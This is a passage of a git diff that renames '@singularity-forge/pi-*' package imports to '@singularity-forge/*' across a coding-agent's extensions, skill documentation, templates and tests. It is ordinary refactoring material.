Also provides maskEditorLine for masking sensitive TUI editor input. */ -import { CURSOR_MARKER } from "@singularity-forge/pi-tui"; +import { CURSOR_MARKER } from "@singularity-forge/tui"; const TOKEN_PATTERNS = [ /xoxb-[A-Za-z0-9-]+/g, // Slack bot tokens diff --git a/src/resources/extensions/shared/tui.js b/src/resources/extensions/shared/tui.js index 810f8ab8b..c362a2c93 100644 --- a/src/resources/extensions/shared/tui.js +++ b/src/resources/extensions/shared/tui.js @@ -1,7 +1,7 @@ // Barrel — TUI-dependent exports. // Import from here when your code needs makeUI, showInterviewRound, // showNextAction, or showConfirm. These all have a transitive dependency -// on @singularity-forge/pi-tui and must not be imported from shared/mod. +// on @singularity-forge/tui and must not be imported from shared/mod. export { showConfirm } from "./confirm-ui.js"; export { showInterviewRound } from "./interview-ui.js"; export { showNextAction } from "./next-action-ui.js"; diff --git a/src/resources/extensions/shared/ui.js b/src/resources/extensions/shared/ui.js index af8a820ae..34a459067 100644 --- a/src/resources/extensions/shared/ui.js +++ b/src/resources/extensions/shared/ui.js @@ -31,7 +31,7 @@ import { truncateToWidth, visibleWidth, wrapTextWithAnsi, -} from "@singularity-forge/pi-tui"; +} from "@singularity-forge/tui"; // ─── Glyphs ─────────────────────────────────────────────────────────────────── // Change these to restyle every cursor, checkbox, and indicator at once. export const GLYPH = { diff --git a/src/resources/extensions/slash-commands/create-extension.js b/src/resources/extensions/slash-commands/create-extension.js index 764c242c7..5945a6e2c 100644 --- a/src/resources/extensions/slash-commands/create-extension.js +++ b/src/resources/extensions/slash-commands/create-extension.js @@ -321,7 +321,7 @@ Then register it in the main extensions index: ## Rules you must follow exactly - Extension entry point: \`export default function (pi: ExtensionAPI): void { ... }\` -- Import type: \`import type { ExtensionAPI, ExtensionContext, ExtensionCommandContext } from "@singularity-forge/pi-coding-agent";\` +- Import type: \`import type { ExtensionAPI, ExtensionContext, ExtensionCommandContext } from "@singularity-forge/coding-agent";\` - \`pi\` is the registration surface — call \`pi.registerCommand\`, \`pi.registerTool\`, \`pi.on\`, \`pi.registerShortcut\` inside the default export - \`ctx\` (ExtensionCommandContext or ExtensionContext) is passed to handlers and event callbacks — never stored, never assumed available globally - To send a message to the agent: \`pi.sendUserMessage("...")\` or \`pi.sendMessage({ content, display }, { triggerTurn })\` diff --git a/src/resources/extensions/slash-commands/create-slash-command.js b/src/resources/extensions/slash-commands/create-slash-command.js index d5f148bb1..67b341306 100644 --- a/src/resources/extensions/slash-commands/create-slash-command.js +++ b/src/resources/extensions/slash-commands/create-slash-command.js @@ -242,7 +242,7 @@ Rules you must follow exactly: - To show a text input dialog: \`await ctx.ui.input("prompt", "placeholder")\` — returns the string or null - \`pi\` is captured in closure from the outer \`export default function(pi: ExtensionAPI)\` — use it freely inside the handler - No \`ctx.session\`, no \`ctx.sendMessage\`, no \`args[]\` array — these do not exist -- Import type: \`import type { ExtensionAPI, ExtensionCommandContext } from "@singularity-forge/pi-coding-agent";\` +- Import type: \`import type { ExtensionAPI, ExtensionCommandContext } from "@singularity-forge/coding-agent";\` - Export default: \`export default function (pi: ExtensionAPI) { ... }\` After writing the files, run \`/reload\` to load the new command.`; diff --git a/src/resources/extensions/subagent/agents.js b/src/resources/extensions/subagent/agents.js index 9e40ea53a..6186ac071 100644 --- a/src/resources/extensions/subagent/agents.js +++ b/src/resources/extensions/subagent/agents.js @@ -6,7 +6,7 @@ import * as path from "node:path"; import { getAgentDir, parseFrontmatter, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; const PROJECT_AGENT_DIR_CANDIDATES = [".sf", ".pi"]; export function parseConflictsWith(value) { diff --git a/src/resources/extensions/subagent/index.js b/src/resources/extensions/subagent/index.js index 7cb234cdd..1209e6aa8 100644 --- a/src/resources/extensions/subagent/index.js +++ b/src/resources/extensions/subagent/index.js @@ -18,9 +18,9 @@ import * as fs from "node:fs"; import * as os from "node:os"; import * as path from "node:path"; import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; -import { getMarkdownTheme } from "@singularity-forge/pi-coding-agent"; -import { Container, Markdown, Spacer, Text } from "@singularity-forge/pi-tui"; +import { StringEnum } from "@singularity-forge/ai"; +import { getMarkdownTheme } from "@singularity-forge/coding-agent"; +import { Container, Markdown, Spacer, Text } from "@singularity-forge/tui"; import { CmuxClient, shellEscape } from "../cmux/index.js"; import { buildSiftEnv, diff --git a/src/resources/extensions/subagent/isolation.js b/src/resources/extensions/subagent/isolation.js index 4c532b7ec..72ab0b62c 100644 --- a/src/resources/extensions/subagent/isolation.js +++ b/src/resources/extensions/subagent/isolation.js @@ -377,7 +377,7 @@ export async function mergeDeltaPatches(repoRoot, patches) { // ============================================================================ export function readIsolationMode() { try { - const { getAgentDir } = require("@singularity-forge/pi-coding-agent"); + const { getAgentDir } = require("@singularity-forge/coding-agent"); const settingsPath = path.join(getAgentDir(), "settings.json"); if (!fs.existsSync(settingsPath)) return "none"; const settings = JSON.parse(fs.readFileSync(settingsPath, "utf-8")); diff --git a/src/resources/extensions/voice/index.js b/src/resources/extensions/voice/index.js index 8c9281c37..67fb48f00 100644 --- a/src/resources/extensions/voice/index.js +++ b/src/resources/extensions/voice/index.js @@ -8,7 +8,7 @@ import { matchesKey, truncateToWidth, visibleWidth, -} from "@singularity-forge/pi-tui"; +} from "@singularity-forge/tui"; import { shortcutDesc } from "../shared/mod.js"; import { diagnoseSounddeviceError, diff --git a/src/resources/skills/create-sf-extension/SKILL.md b/src/resources/skills/create-sf-extension/SKILL.md index 297df9a3b..91beddb8a 100644 --- a/src/resources/skills/create-sf-extension/SKILL.md +++ b/src/resources/skills/create-sf-extension/SKILL.md @@ -19,8 +19,8 @@ Note: `~/.sf/agent/extensions/` is reserved for bundled extensions synced from t 3. **Commands** — Give users slash commands (`pi.registerCommand()`). Users type `/mycommand`. **Non-negotiable rules:** -- Use `StringEnum` from `@singularity-forge/pi-ai` for string enum params (NOT `Type.Union`/`Type.Literal` — breaks Google's API) -- Truncate tool output to 50KB / 2000 lines max (use `truncateHead`/`truncateTail` from `@singularity-forge/pi-coding-agent`) +- Use `StringEnum` from `@singularity-forge/ai` for string enum params (NOT `Type.Union`/`Type.Literal` — breaks Google's API) +- Truncate tool output to 50KB / 2000 lines max (use `truncateHead`/`truncateTail` from `@singularity-forge/coding-agent`) - Store stateful tool state in `details` for branching support - Check `signal?.aborted` in long-running tool executions - Use `pi.exec()` not `child_process` for shell commands @@ -34,10 +34,10 @@ Note: `~/.sf/agent/extensions/` is reserved for bundled extensions synced from t | Package | Purpose | |---------|---------| -| `@singularity-forge/pi-coding-agent` | `ExtensionAPI`, `ExtensionContext`, `Theme`, event types, tool utilities, `DynamicBorder`, `BorderedLoader`, `CustomEditor`, `highlightCode` | +| `@singularity-forge/coding-agent` | `ExtensionAPI`, `ExtensionContext`, `Theme`, event types, tool utilities, `DynamicBorder`, `BorderedLoader`, `CustomEditor`, `highlightCode` | | `@sinclair/typebox` | `Type.Object`, `Type.String`, `Type.Number`, `Type.Optional`, `Type.Boolean`, `Type.Array` | -| `@singularity-forge/pi-ai` | `StringEnum` (required for string enums), `Type` re-export | -| `@singularity-forge/pi-tui` | `Text`, `Box`, `Container`, `Spacer`, `Markdown`, `SelectList`, `Input`, `matchesKey`, `Key`, `truncateToWidth`, `visibleWidth` | +| `@singularity-forge/ai` | `StringEnum` (required for string enums), `Type` re-export | +| `@singularity-forge/tui` | `Text`, `Box`, `Container`, `Spacer`, `Markdown`, `SelectList`, `Input`, `matchesKey`, `Key`, `truncateToWidth`, `visibleWidth` | | Node.js built-ins | `node:fs`, `node:path`, `node:child_process`, etc. | diff --git a/src/resources/skills/create-sf-extension/references/custom-commands.md b/src/resources/skills/create-sf-extension/references/custom-commands.md index c2a295ee8..3a5202aa6 100644 --- a/src/resources/skills/create-sf-extension/references/custom-commands.md +++ b/src/resources/skills/create-sf-extension/references/custom-commands.md @@ -19,7 +19,7 @@ pi.registerCommand("deploy", { Add tab-completion for command arguments: ```typescript -import type { AutocompleteItem } from "@singularity-forge/pi-tui"; +import type { AutocompleteItem } from "@singularity-forge/tui"; pi.registerCommand("deploy", { description: "Deploy to an environment", diff --git a/src/resources/skills/create-sf-extension/references/custom-rendering.md b/src/resources/skills/create-sf-extension/references/custom-rendering.md index 0367f81b8..583632629 100644 --- a/src/resources/skills/create-sf-extension/references/custom-rendering.md +++ b/src/resources/skills/create-sf-extension/references/custom-rendering.md @@ -6,8 +6,8 @@ Custom rendering for tools and messages — control how they appear in the TUI. Tools can provide `renderCall` (how the call looks) and `renderResult` (how the result looks): ```typescript -import { Text } from "@singularity-forge/pi-tui"; -import { keyHint } from "@singularity-forge/pi-coding-agent"; +import { Text } from "@singularity-forge/tui"; +import { keyHint } from "@singularity-forge/coding-agent"; pi.registerTool({ name: "my_tool", @@ -54,7 +54,7 @@ If you omit `renderCall`/`renderResult`, the built-in renderer is used. Useful f Key hint helpers for showing keybinding info in render output: ```typescript -import { keyHint, appKeyHint, editorKey, rawKeyHint } from "@singularity-forge/pi-coding-agent"; +import { keyHint, appKeyHint, editorKey, rawKeyHint } from "@singularity-forge/coding-agent"; // Editor action hint (respects user keybinding config) keyHint("expandTools", "to expand") // e.g., "Ctrl+O to expand" @@ -69,7 +69,7 @@ rawKeyHint("Ctrl+O", "to expand") Register a renderer for custom message types: ```typescript -import { Text } from "@singularity-forge/pi-tui"; +import { Text } from "@singularity-forge/tui"; pi.registerMessageRenderer("my-extension", (message, options, theme) => { const { expanded } = options; @@ -92,7 +92,7 @@ pi.sendMessage({ ```typescript -import { highlightCode, getLanguageFromPath } from "@singularity-forge/pi-coding-agent"; +import { highlightCode, getLanguageFromPath } from "@singularity-forge/coding-agent"; const lang = getLanguageFromPath("/path/to/file.rs"); // "rust" const highlighted = highlightCode(code, lang, theme); diff --git a/src/resources/skills/create-sf-extension/references/custom-tools.md b/src/resources/skills/create-sf-extension/references/custom-tools.md index 80f710c95..bc457fde9 100644 --- a/src/resources/skills/create-sf-extension/references/custom-tools.md +++ b/src/resources/skills/create-sf-extension/references/custom-tools.md @@ -5,7 +5,7 @@ Complete custom tools reference — registration, parameters, execution, output ```typescript import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; +import { StringEnum } from "@singularity-forge/ai"; pi.registerTool({ name: "my_tool", // Unique identifier (snake_case) @@ -60,7 +60,7 @@ pi.registerTool({ **⚠️ MUST use `StringEnum` for string enum parameters:** ```typescript -import { StringEnum } from "@singularity-forge/pi-ai"; +import { StringEnum } from "@singularity-forge/ai"; // ✅ Correct — works with all providers including Google action: StringEnum(["list", "add", "remove"] as const) @@ -77,7 +77,7 @@ Tools MUST truncate output to avoid context overflow. Built-in limit: 50KB / 200 import { truncateHead, truncateTail, formatSize, DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; async execute(toolCallId, params, signal, onUpdate, ctx) { const output = await runCommand(); @@ -129,7 +129,7 @@ Use `pi.setActiveTools(names)` to enable/disable tools at runtime. Register a tool with the same name as a built-in (`read`, `bash`, `edit`, `write`, `grep`, `find`, `ls`) to override it. **Must match exact result shape including `details` type.** ```typescript -import { createReadTool } from "@singularity-forge/pi-coding-agent"; +import { createReadTool } from "@singularity-forge/coding-agent"; pi.registerTool({ name: "read", diff --git a/src/resources/skills/create-sf-extension/references/custom-ui.md b/src/resources/skills/create-sf-extension/references/custom-ui.md index 23141a43f..3032a4e51 100644 --- a/src/resources/skills/create-sf-extension/references/custom-ui.md +++ b/src/resources/skills/create-sf-extension/references/custom-ui.md @@ -277,7 +277,7 @@ bottom-left bottom-center bottom-right Replace the main input editor permanently: ```typescript -import { CustomEditor } from "@singularity-forge/pi-coding-agent"; +import { CustomEditor } from "@singularity-forge/coding-agent"; class VimEditor extends CustomEditor { private mode: "normal" | "insert" = "insert"; @@ -307,7 +307,7 @@ ctx.ui.setEditorComponent(undefined); // Restore default -**From `@singularity-forge/pi-tui`:** +**From `@singularity-forge/tui`:** | Component | Constructor | Purpose | |-----------|-------------|---------| @@ -352,7 +352,7 @@ const settings = new SettingsList(items, 15, getSettingsListTheme(), ); ``` -**From `@singularity-forge/pi-coding-agent`:** +**From `@singularity-forge/coding-agent`:** | Component | Constructor | Purpose | |-----------|-------------|---------| @@ -363,7 +363,7 @@ const settings = new SettingsList(items, 15, getSettingsListTheme(), ```typescript -import { matchesKey, Key } from "@singularity-forge/pi-tui"; +import { matchesKey, Key } from "@singularity-forge/tui"; handleInput(data: string) { // Basic keys @@ -403,7 +403,7 @@ handleInput(data: string) { **Cardinal rule: each line from render() must not exceed `width` visible characters.** ```typescript -import { visibleWidth, truncateToWidth, wrapTextWithAnsi } from "@singularity-forge/pi-tui"; +import { visibleWidth, truncateToWidth, wrapTextWithAnsi } from "@singularity-forge/tui"; visibleWidth("\x1b[32mHello\x1b[0m"); // Returns 5 (ignores ANSI codes) truncateToWidth("Very long text here", 10); // "Very lo..." @@ -470,7 +470,7 @@ Always use theme from callback params, never import directly. **Syntax highlighting:** ```typescript -import { highlightCode, getLanguageFromPath } from "@singularity-forge/pi-coding-agent"; +import { highlightCode, getLanguageFromPath } from "@singularity-forge/coding-agent"; const lang = getLanguageFromPath("/file.rs"); // "rust" const highlighted = highlightCode(code, lang, theme); ``` diff --git a/src/resources/skills/create-sf-extension/references/events-reference.md b/src/resources/skills/create-sf-extension/references/events-reference.md index 0f544b29d..c4a518800 100644 --- a/src/resources/skills/create-sf-extension/references/events-reference.md +++ b/src/resources/skills/create-sf-extension/references/events-reference.md @@ -47,7 +47,7 @@ pi.on("before_agent_start", async (event, ctx) => { **tool_call** — Fired before tool executes. Can block. ```typescript -import { isToolCallEventType } from "@singularity-forge/pi-coding-agent"; +import { isToolCallEventType } from "@singularity-forge/coding-agent"; pi.on("tool_call", async (event, ctx) => { if (isToolCallEventType("bash", event)) { @@ -61,7 +61,7 @@ pi.on("tool_call", async (event, ctx) => { **tool_result** — Fired after tool executes. Can modify result. Handlers chain like middleware. ```typescript -import { isToolResultEventType } from "@singularity-forge/pi-coding-agent"; +import { isToolResultEventType } from "@singularity-forge/coding-agent"; pi.on("tool_result", async (event, ctx) => { if (isToolResultEventType("bash", event)) { @@ -105,7 +105,7 @@ pi.on("model_select", async (event, ctx) => { Built-in type guards for tool events: ```typescript -import { isToolCallEventType, isToolResultEventType } from "@singularity-forge/pi-coding-agent"; +import { isToolCallEventType, isToolResultEventType } from "@singularity-forge/coding-agent"; // Tool calls — narrows event.input type if (isToolCallEventType("bash", event)) { /* event.input: { command, timeout? } */ } diff --git a/src/resources/skills/create-sf-extension/references/packaging-distribution.md b/src/resources/skills/create-sf-extension/references/packaging-distribution.md index 14d07b36b..a8f738c48 100644 --- a/src/resources/skills/create-sf-extension/references/packaging-distribution.md +++ b/src/resources/skills/create-sf-extension/references/packaging-distribution.md @@ -39,7 +39,7 @@ If no `pi` manifest exists, auto-discovers: -- List `@singularity-forge/pi-ai`, `@singularity-forge/pi-coding-agent`, `@singularity-forge/pi-tui`, `@sinclair/typebox` in `peerDependencies` with `"*"` — they're bundled by the runtime. +- List `@singularity-forge/ai`, `@singularity-forge/coding-agent`, `@singularity-forge/tui`, `@sinclair/typebox` in `peerDependencies` with `"*"` — they're bundled by the runtime. - Other npm deps go in `dependencies`. The runtime runs `npm install` on package installation. diff --git a/src/resources/skills/create-sf-extension/references/remote-execution-overrides.md b/src/resources/skills/create-sf-extension/references/remote-execution-overrides.md index bc3bbb457..2f1d71173 100644 --- a/src/resources/skills/create-sf-extension/references/remote-execution-overrides.md +++ b/src/resources/skills/create-sf-extension/references/remote-execution-overrides.md @@ -6,7 +6,7 @@ Remote execution via pluggable operations, spawnHook for bash, and tool override Built-in tools support pluggable operations for SSH, containers, etc.: ```typescript -import { createReadTool, createBashTool, createWriteTool } from "@singularity-forge/pi-coding-agent"; +import { createReadTool, createBashTool, createWriteTool } from "@singularity-forge/coding-agent"; // Create tool with custom remote operations const remoteBash = createBashTool(cwd, { @@ -37,7 +37,7 @@ const bashTool = createBashTool(cwd, { Full SSH pattern with flag-based switching: ```typescript -import { createBashTool, type ExtensionAPI } from "@singularity-forge/pi-coding-agent"; +import { createBashTool, type ExtensionAPI } from "@singularity-forge/coding-agent"; export default function (pi: ExtensionAPI) { pi.registerFlag("ssh", { description: "SSH target", type: "string" }); @@ -65,7 +65,7 @@ export default function (pi: ExtensionAPI) { Override built-in tools for logging/access control — omit renderCall/renderResult to keep built-in rendering: ```typescript -import { createReadTool } from "@singularity-forge/pi-coding-agent"; +import { createReadTool } from "@singularity-forge/coding-agent"; import { Type } from "@sinclair/typebox"; pi.registerTool({ diff --git a/src/resources/skills/create-sf-extension/templates/extension-skeleton.ts b/src/resources/skills/create-sf-extension/templates/extension-skeleton.ts index 66d05e98a..f26bb5980 100644 --- a/src/resources/skills/create-sf-extension/templates/extension-skeleton.ts +++ b/src/resources/skills/create-sf-extension/templates/extension-skeleton.ts @@ -5,9 +5,9 @@ * {{CAPABILITIES_LIST}} */ -import type { ExtensionAPI } from "@singularity-forge/pi-coding-agent"; +import type { ExtensionAPI } from "@singularity-forge/coding-agent"; import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; +import { StringEnum } from "@singularity-forge/ai"; export default function (pi: ExtensionAPI) { // === Events === diff --git a/src/resources/skills/create-sf-extension/templates/stateful-tool-skeleton.ts b/src/resources/skills/create-sf-extension/templates/stateful-tool-skeleton.ts index 52139990f..ab89eb65d 100644 --- a/src/resources/skills/create-sf-extension/templates/stateful-tool-skeleton.ts +++ b/src/resources/skills/create-sf-extension/templates/stateful-tool-skeleton.ts @@ -4,10 +4,10 @@ * State is stored in tool result details for proper branching support. */ -import type { ExtensionAPI, ExtensionContext } from "@singularity-forge/pi-coding-agent"; +import type { ExtensionAPI, ExtensionContext } from "@singularity-forge/coding-agent"; import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; -import { Text, truncateToWidth, matchesKey, Key } from "@singularity-forge/pi-tui"; +import { StringEnum } from "@singularity-forge/ai"; +import { Text, truncateToWidth, matchesKey, Key } from "@singularity-forge/tui"; interface {{ItemType}} { id: number; diff --git a/src/resources/skills/create-sf-extension/templates/templates.test.ts b/src/resources/skills/create-sf-extension/templates/templates.test.ts index 4cc096572..c62328a4c 100644 --- a/src/resources/skills/create-sf-extension/templates/templates.test.ts +++ b/src/resources/skills/create-sf-extension/templates/templates.test.ts @@ -27,21 +27,21 @@ describe("extension templates use @singularity-forge/* imports", () => { const templates = ["extension-skeleton.ts", "stateful-tool-skeleton.ts"]; for (const template of templates) { - it(`${template} uses @singularity-forge/pi-coding-agent (not @mariozechner)`, () => { + it(`${template} uses @singularity-forge/coding-agent (not @mariozechner)`, () => { const content = readFileSync(join(__dirname, template), "utf-8"); - assert.ok(content.includes("@singularity-forge/pi-coding-agent"), `Expected @singularity-forge/pi-coding-agent import in ${template}`); + assert.ok(content.includes("@singularity-forge/coding-agent"), `Expected @singularity-forge/coding-agent import in ${template}`); assert.ok(!content.includes("@mariozechner/"), `Found stale @mariozechner/ import in ${template}`); }); } - it("extension-skeleton.ts uses @singularity-forge/pi-ai for StringEnum", () => { + it("extension-skeleton.ts uses @singularity-forge/ai for StringEnum", () => { const content = readFileSync(join(__dirname, "extension-skeleton.ts"), "utf-8"); - assert.ok(content.includes("@singularity-forge/pi-ai"), "Expected @singularity-forge/pi-ai import"); + assert.ok(content.includes("@singularity-forge/ai"), "Expected @singularity-forge/ai import"); }); - it("stateful-tool-skeleton.ts uses @singularity-forge/pi-tui", () => { + it("stateful-tool-skeleton.ts uses @singularity-forge/tui", () => { const content = readFileSync(join(__dirname, "stateful-tool-skeleton.ts"), "utf-8"); - assert.ok(content.includes("@singularity-forge/pi-tui"), "Expected @singularity-forge/pi-tui import"); + assert.ok(content.includes("@singularity-forge/tui"), "Expected @singularity-forge/tui import"); }); it("no @mariozechner/ references anywhere in create-sf-extension/", () => { diff --git a/src/resources/skills/create-sf-extension/workflows/create-extension.md b/src/resources/skills/create-sf-extension/workflows/create-extension.md index f66853490..14ff6f189 100644 --- a/src/resources/skills/create-sf-extension/workflows/create-extension.md +++ b/src/resources/skills/create-sf-extension/workflows/create-extension.md @@ -88,7 +88,7 @@ Only include non-empty arrays in `provides`. See `docs/extension-sdk/manifest-sp Start with the skeleton: ```typescript -import type { ExtensionAPI } from "@singularity-forge/pi-coding-agent"; +import type { ExtensionAPI } from "@singularity-forge/coding-agent"; export default function (pi: ExtensionAPI) { // Register events, tools, commands here @@ -100,7 +100,7 @@ Then add capabilities based on Step 2. Reference the appropriate reference files **Tool registration pattern:** ```typescript import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; +import { StringEnum } from "@singularity-forge/ai"; pi.registerTool({ name: "my_tool", diff --git a/src/security-overrides.ts b/src/security-overrides.ts index 4a6c2bdf1..f51fea8e8 100644 --- a/src/security-overrides.ts +++ b/src/security-overrides.ts @@ -11,7 +11,7 @@ import { type SettingsManager, setAllowedCommandPrefixes, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; import { setFetchAllowedUrls } from "./resources/extensions/search-the-web/url-utils.js"; export function applySecurityOverrides(settingsManager: SettingsManager): void { diff --git a/src/tests/app-smoke.test.ts b/src/tests/app-smoke.test.ts index c272b4dc6..7eea7ec44 100644 --- a/src/tests/app-smoke.test.ts +++ b/src/tests/app-smoke.test.ts @@ -398,7 +398,7 @@ test("initResources skips copy when managed version matches current version", as test("loadStoredEnvKeys hydrates process.env from auth.json", async (_t) => { const { loadStoredEnvKeys } = await import("../wizard.ts"); - const { AuthStorage } = await import("@singularity-forge/pi-coding-agent"); + const { AuthStorage } = await import("@singularity-forge/coding-agent"); const tmp = mkdtempSync(join(tmpdir(), "sf-wizard-test-")); const authPath = join(tmp, "auth.json"); @@ -483,7 +483,7 @@ test("loadStoredEnvKeys hydrates process.env from auth.json", async (_t) => { test("loadStoredEnvKeys does not overwrite existing env vars", async (_t) => { const { loadStoredEnvKeys } = await import("../wizard.ts"); - const { AuthStorage } = await import("@singularity-forge/pi-coding-agent"); + const { AuthStorage } = await import("@singularity-forge/coding-agent"); const tmp = mkdtempSync(join(tmpdir(), "sf-wizard-nooverwrite-")); const authPath = join(tmp, "auth.json"); diff --git a/src/tests/artifact-manager.test.ts b/src/tests/artifact-manager.test.ts index 9ba8bde60..0abe7e58c 100644 --- a/src/tests/artifact-manager.test.ts +++ b/src/tests/artifact-manager.test.ts @@ -9,7 +9,7 @@ import { tmpdir } from "node:os"; import { join } from "node:path"; import { afterEach, test } from "vitest"; -import { ArtifactManager } from "../../packages/pi-coding-agent/src/core/artifact-manager.ts"; +import { ArtifactManager } from "../../packages/coding-agent/src/core/artifact-manager.ts"; // ─── Helpers ───────────────────────────────────────────────────────────────── diff --git a/src/tests/assistant-message-thinking-visibility.test.ts b/src/tests/assistant-message-thinking-visibility.test.ts index 385ed1198..8350086bc 100644 --- a/src/tests/assistant-message-thinking-visibility.test.ts +++ b/src/tests/assistant-message-thinking-visibility.test.ts @@ -10,7 +10,7 @@ import { test } from "vitest"; const assistantMessagePath = join( process.cwd(), "packages", - "pi-coding-agent", + "coding-agent", "src", "modes", "interactive", diff --git a/src/tests/blob-store.test.ts b/src/tests/blob-store.test.ts index 3dca27c15..89d91b369 100644 --- a/src/tests/blob-store.test.ts +++ b/src/tests/blob-store.test.ts @@ -16,7 +16,7 @@ import { isBlobRef, parseBlobRef, resolveImageData, -} from "../../packages/pi-coding-agent/src/core/blob-store.ts"; +} from "../../packages/coding-agent/src/core/blob-store.ts"; // ─── Helpers ───────────────────────────────────────────────────────────────── diff --git a/src/tests/cli-onboarding-custom-provider.test.ts b/src/tests/cli-onboarding-custom-provider.test.ts index 0fd5ce53f..ae7c7b52e 100644 --- a/src/tests/cli-onboarding-custom-provider.test.ts +++ b/src/tests/cli-onboarding-custom-provider.test.ts @@ -10,7 +10,7 @@ import { tmpdir } from "node:os"; import { join } from "node:path"; import { test } from "vitest"; -import { SettingsManager } from "../../packages/pi-coding-agent/src/core/settings-manager.ts"; +import { SettingsManager } from "../../packages/coding-agent/src/core/settings-manager.ts"; test("SettingsManager reads defaultProvider/defaultModel from the explicit agentDir used by CLI (#3860)", () => { const root = mkdtempSync(join(tmpdir(), "sf-cli-settings-")); diff --git a/src/tests/extension-load-perf.test.ts b/src/tests/extension-load-perf.test.ts index e6dcd1def..bff7b1c8c 100644 --- a/src/tests/extension-load-perf.test.ts +++ b/src/tests/extension-load-perf.test.ts @@ -8,7 +8,7 @@ * module cache must be shared across extension loads so that shared * modules are compiled once. * - * Uses the built dist/ (not raw TS source) because pi-coding-agent uses + * Uses the built dist/ (not raw TS source) because coding-agent uses * TypeScript features unsupported by --experimental-strip-types. */ @@ -26,7 +26,7 @@ import { test } from "vitest"; const loaderPath = join( process.cwd(), "packages", - "pi-coding-agent", + "coding-agent", "dist", "core", "extensions", diff --git a/src/tests/footer-component.test.ts b/src/tests/footer-component.test.ts index ae21d67a0..eb37797c1 100644 --- a/src/tests/footer-component.test.ts +++ b/src/tests/footer-component.test.ts @@ -7,7 +7,7 @@ const footerSource = readFileSync( join( process.cwd(), "packages", - "pi-coding-agent", + "coding-agent", "src", "modes", "interactive", diff --git a/src/tests/integration/web-bridge-contract.test.ts b/src/tests/integration/web-bridge-contract.test.ts index 48c8f8f39..e4e68ef82 100644 --- a/src/tests/integration/web-bridge-contract.test.ts +++ b/src/tests/integration/web-bridge-contract.test.ts @@ -10,7 +10,7 @@ import { afterEach, test } from "vitest"; const repoRoot = process.cwd(); const bridge = await import("../../web/bridge-service.ts"); const onboarding = await import("../../web/onboarding-service.ts"); -const { AuthStorage } = await import("@singularity-forge/pi-coding-agent"); +const { AuthStorage } = await import("@singularity-forge/coding-agent"); const bootRoute = await import("../../../web/app/api/boot/route.ts"); const commandRoute = await import( "../../../web/app/api/session/command/route.ts" diff --git a/src/tests/integration/web-command-parity-contract.test.ts b/src/tests/integration/web-command-parity-contract.test.ts index 6ef8506fd..2e314d08b 100644 --- a/src/tests/integration/web-command-parity-contract.test.ts +++ b/src/tests/integration/web-command-parity-contract.test.ts @@ -4,7 +4,7 @@ import { resolve } from "node:path"; import { describe, test } from "vitest"; const { BUILTIN_SLASH_COMMANDS } = await import( - "../../../packages/pi-coding-agent/src/core/slash-commands.ts" + "../../../packages/coding-agent/src/core/slash-commands.ts" ); const { dispatchBrowserSlashCommand, getBrowserSlashCommandTerminalNotice } = await import("../../../web/lib/browser-slash-command-dispatch.ts"); diff --git a/src/tests/integration/web-live-interaction-contract.test.ts b/src/tests/integration/web-live-interaction-contract.test.ts index 9df19ab5d..cc1b8de5d 100644 --- a/src/tests/integration/web-live-interaction-contract.test.ts +++ b/src/tests/integration/web-live-interaction-contract.test.ts @@ -10,7 +10,7 @@ import { afterEach, test } from "vitest"; const repoRoot = process.cwd(); const bridge = await import("../../web/bridge-service.ts"); const onboarding = await import("../../web/onboarding-service.ts"); -const { AuthStorage } = await import("@singularity-forge/pi-coding-agent"); +const { AuthStorage } = await import("@singularity-forge/coding-agent"); const commandRoute = await import( "../../../web/app/api/session/command/route.ts" ); diff --git a/src/tests/integration/web-live-state-contract.test.ts b/src/tests/integration/web-live-state-contract.test.ts index b9417d47d..b2fb93b16 100644 --- a/src/tests/integration/web-live-state-contract.test.ts +++ b/src/tests/integration/web-live-state-contract.test.ts @@ -10,7 +10,7 @@ import { afterEach, test } from "vitest"; const repoRoot = process.cwd(); const bridge = await import("../../web/bridge-service.ts"); const onboarding = await import("../../web/onboarding-service.ts"); -const { AuthStorage } = await import("@singularity-forge/pi-coding-agent"); +const { AuthStorage } = await import("@singularity-forge/coding-agent"); const commandRoute = await import( "../../../web/app/api/session/command/route.ts" ); diff --git a/src/tests/integration/web-mode-assembled.test.ts b/src/tests/integration/web-mode-assembled.test.ts index ae97927c7..add9bff38 100644 --- a/src/tests/integration/web-mode-assembled.test.ts +++ b/src/tests/integration/web-mode-assembled.test.ts @@ -24,7 +24,7 @@ const eventsRoute = await import( ); const { dispatchBrowserSlashCommand, getBrowserSlashCommandTerminalNotice } = await import("../../../web/lib/browser-slash-command-dispatch.ts"); -const { AuthStorage } = await import("@singularity-forge/pi-coding-agent"); +const { AuthStorage } = await import("@singularity-forge/coding-agent"); // --------------------------------------------------------------------------- // Test infrastructure (shared with web-mode-onboarding.test.ts) diff --git a/src/tests/integration/web-mode-onboarding.test.ts b/src/tests/integration/web-mode-onboarding.test.ts index 25250ca79..5ad0a68cc 100644 --- a/src/tests/integration/web-mode-onboarding.test.ts +++ b/src/tests/integration/web-mode-onboarding.test.ts @@ -25,7 +25,7 @@ const onboardingRoute = await import( const commandRoute = await import( "../../../web/app/api/session/command/route.ts" ); -const { AuthStorage } = await import("@singularity-forge/pi-coding-agent"); +const { AuthStorage } = await import("@singularity-forge/coding-agent"); class FakeRpcChild extends EventEmitter { stdin = new PassThrough(); diff --git a/src/tests/integration/web-mode-runtime-harness.ts b/src/tests/integration/web-mode-runtime-harness.ts index ee3d010cf..21deef59a 100644 --- a/src/tests/integration/web-mode-runtime-harness.ts +++ b/src/tests/integration/web-mode-runtime-harness.ts @@ -26,7 +26,7 @@ const loaderPath = join(projectRoot, "src", "loader.ts"); const builtAgentEntryPath = join( projectRoot, "packages", - "pi-coding-agent", + "coding-agent", "dist", "index.js", ); diff --git a/src/tests/integration/web-onboarding-contract.test.ts b/src/tests/integration/web-onboarding-contract.test.ts index bcce36ae3..ba646075b 100644 --- a/src/tests/integration/web-onboarding-contract.test.ts +++ 